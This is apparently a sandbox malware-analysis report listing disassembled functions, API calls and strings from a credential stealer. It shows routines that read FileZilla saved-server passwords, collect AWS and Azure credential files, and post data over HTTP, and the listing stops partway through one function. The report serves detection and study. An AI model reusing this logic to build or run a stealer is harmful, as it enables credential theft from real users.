Instruction ID: e42d55f5272c4be8e3f59257355b8fca4430f3dac2d75aeea8cbf9ff20cdab91
Opcode Fuzzy Hash: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
Instruction Fuzzy Hash: 12324EBAD50314ABD715EBE0DC85DEA737DBB45700F005A9DF209A2080EE78E7858F56

Function 00410250 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

strtok_s.MSVCRT ref: 0041031B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 00410362
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00410385
lstrlenA.KERNEL32(00000000), ref: 00410393

Part of subcall function 004188E0: malloc.MSVCRT ref: 004188E8
Part of subcall function 004188E0: strncpy.MSVCRT ref: 00418903

StrStrA.SHLWAPI(00000000,<Port>), ref: 004103CF
lstrlenA.KERNEL32(00000000), ref: 004103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00410419
lstrlenA.KERNEL32(00000000), ref: 00410427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00410463
lstrlenA.KERNEL32(00000000), ref: 00410475
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 00410502
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041051A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410532
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041054A
lstrcatA.KERNEL32(?,browser: FileZilla,?,?,00000000), ref: 00410562
lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5
browser: FileZilla, xrefs: 00410559
<Port>, xrefs: 004103C6
<Pass encoding="base64">, xrefs: 0041045A
login: , xrefs: 004105CA
password: , xrefs: 004105FB
NA, xrefs: 0041072E, 004106AF, 004106B2
profile: null, xrefs: 00410568
url: , xrefs: 00410577
<Host>, xrefs: 0041037C
<User>, xrefs: 00410410

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,01394EC0), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,01394D30,?,01396498,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01394D80,00000000,?,01389AC0,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

", xrefs: 004055C4
--, xrefs: 00405280
------, xrefs: 004053B7
------, xrefs: 004054F9
------, xrefs: 0040563B
------, xrefs: 00405297
", xrefs: 00405482
", xrefs: 00405706

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,01394EC0), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,013970E8,00000000,?,01389AC0,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,01394D30,?,01396498,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405C0B
", xrefs: 00405E16
------, xrefs: 00405D4C
------, xrefs: 00405A96
", xrefs: 00405CD5

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01380578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,01395020,00421318,01395020,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01394EB0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
\.aws\, xrefs: 00414E4D
\.IdentityService\, xrefs: 00414ED9
*.*, xrefs: 00414DD8
\.azure\, xrefs: 00414DC1
Azure\.aws, xrefs: 00414E5F
Azure\.azure, xrefs: 00414DD3
*.*, xrefs: 00414E64
Azure\.IdentityService, xrefs: 00414EEB
msal.cache, xrefs: 00414EF0

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
